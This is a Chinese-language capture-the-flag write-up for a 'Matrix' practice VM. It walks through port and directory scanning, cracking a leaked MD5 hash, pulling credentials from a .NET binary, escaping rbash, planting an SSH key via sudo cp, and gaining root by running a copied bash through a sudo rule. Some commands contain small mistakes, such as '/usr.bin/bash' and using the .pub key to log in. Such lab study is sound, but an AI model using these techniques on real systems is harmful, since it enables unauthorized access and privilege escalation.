OSCP-004-Matrix

调整为nat模式

主机发现

netdiscover -r 192.168.174.0/24

image-20240801202833123

端口扫描

nmap -p- -T5 192.168.174.161

image-20240801202919969

nmap -p80,6464,7331 -sV --script "default, safe" (IP)

可以获得的信息
80和7331都是python起的http服务

6464是一个ssh的端口

访问服务

80端口

image-20240801203406539

7331端口:一个登陆界面

image-20240801203544739

输入admin:admin后,有个显示,传入后台应该是base64

echo "YWRtaW46YWRtaW4=" | base64 -d

admin:admin

目录扫描

dirb http://192.168.174.161

image-20240802094342918

访问该目录

image-20240802094413249

可以在img里找到一个rabbit的图片

image-20240802094440273

下载下来试试

wget http://192.168.174.161/assets/img/Matrix_can-show-you-the-door.png

官方文档是

strings xx.png
zsteg -a xx.png

用这两个命令看下图片有没有隐写信息,没什么收获

可以发现图片名提示Matrix提供这个门,尝试访问Matrix目录

image-20240802185608055

发现一串目录,在Matrix/n/e/o/6/4/目录下发现一个secret.gz文件,应该是一个提示,也可以发现是黑客帝国得尼奥得英文名

image-20240802185905833

文件分析

下载下来试试

wget http://192.168.174.161/Matrix/n/e/o/6/4/secret.gz

gunzip试了下,不是gzip文件

file查看一下,发现是ascii:text文件

直接cat查看

admin:76a2173be6393254e72ffa4d6df1030a

查下md5

image-20240802191003458

也可以不查

echo "xxx" > hash
john --show --format=Raw-MD5 hash

可以得到admin:passwd

登陆页面目录扫描

dirb http://192.168.174.161:7331 -u admin:passwd

image-20240802191437778

发现data目录和robots.txt文件,分别访问

image-20240802191515914

image-20240802191526369

可以发现一个data文件,下载尝试分析文件

wget http://ip:7331/data/data --user admin --password passwd
file data
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

是一个PE文件,放到ida里反编译一下

image-20240802195504521

guest:7R1n17yN30

可以在dispose中找到一个账号密码对,结合剩下一个的ssh端口,推测是用该账号密码连接

ssh

ssh guest@192.168.174.161 -p6464	

连上后,发现很多指令都用不了

echo $SHELL

发现是rbash,尝试连接默认shell

image-20240802200900060

ssh guest@192.168.174.161 -p6464 -t "bash --noprofile"
  • "bash --noprofile" 是在远程计算机上执行的命令。bash 是Bourne Again Shell的简称,是一种常用的Unix shell。--noprofile 选项告诉bash不要读取用户的profile文件,这在某些情况下可以防止执行一些可能不安全的脚本。

再次echo shell,虽然说还是rbash但还是可以执行其它命令的,我们可以创建一个空的ssh的rsa密钥

image-20240802200926473

这个用户可以不用密码利用root身份去运行一个特定的文件。利用trinity这个用户身份还可以执行cp命令,看来这是突破口了。

利用cp将bash复制到root可以执行的文件位置,失败

image-20240802201338624

vi提权

vi
:!/bin/sh
export PATH="/usr/bin"
/usr.bin/bash

find一下有没有提权的文件

find / -perm -4000 2>/dev/null

image-20240802202925298

利用ssh-keygen生成一个密钥,准备给trinity用。

image-20240802201425373

查看一下sshd的配置文件,可以看到开着pubkey认证,并且密钥保存在.ssh/authorized_keys,下一步就把我们生成的密钥放到trinity用户目录下就行了。

cat /etc/ssh/sshd_config

image-20240802201638580

把刚生成的id_rsa.pub权限修改为777,让非guest的用户也有执行权限,然后利用trinity身份的cp命令将这个文件复制到trinity/.ssh/authorized_keys

chmod 777 id_rsa.pub
chmod 777 .ssh
sudo -u trinity /bin/cp .ssh/id_rsa.pub /home/trinity/.ssh/authorized_keys

再ssh登陆trinity

ssh trinity@127.0.0.1 -i .ssh/id_rsa.pub -p 6464
sudo -l

image-20240802204428518

登录trinity用户发现可以以root用户权限无密码使用oracle命令,直接将/usr/bin/bash复制到trinity家目录下并改名为oracle

cp /usr/bin/bash oracle
chmod +x oracle

image-20240802204506245

调用oracle,成功拥有root权限,在root目录下找到flag.txt文件

sudo ./oracle 
cd /root/
cat flag.txt

image-20240802204640441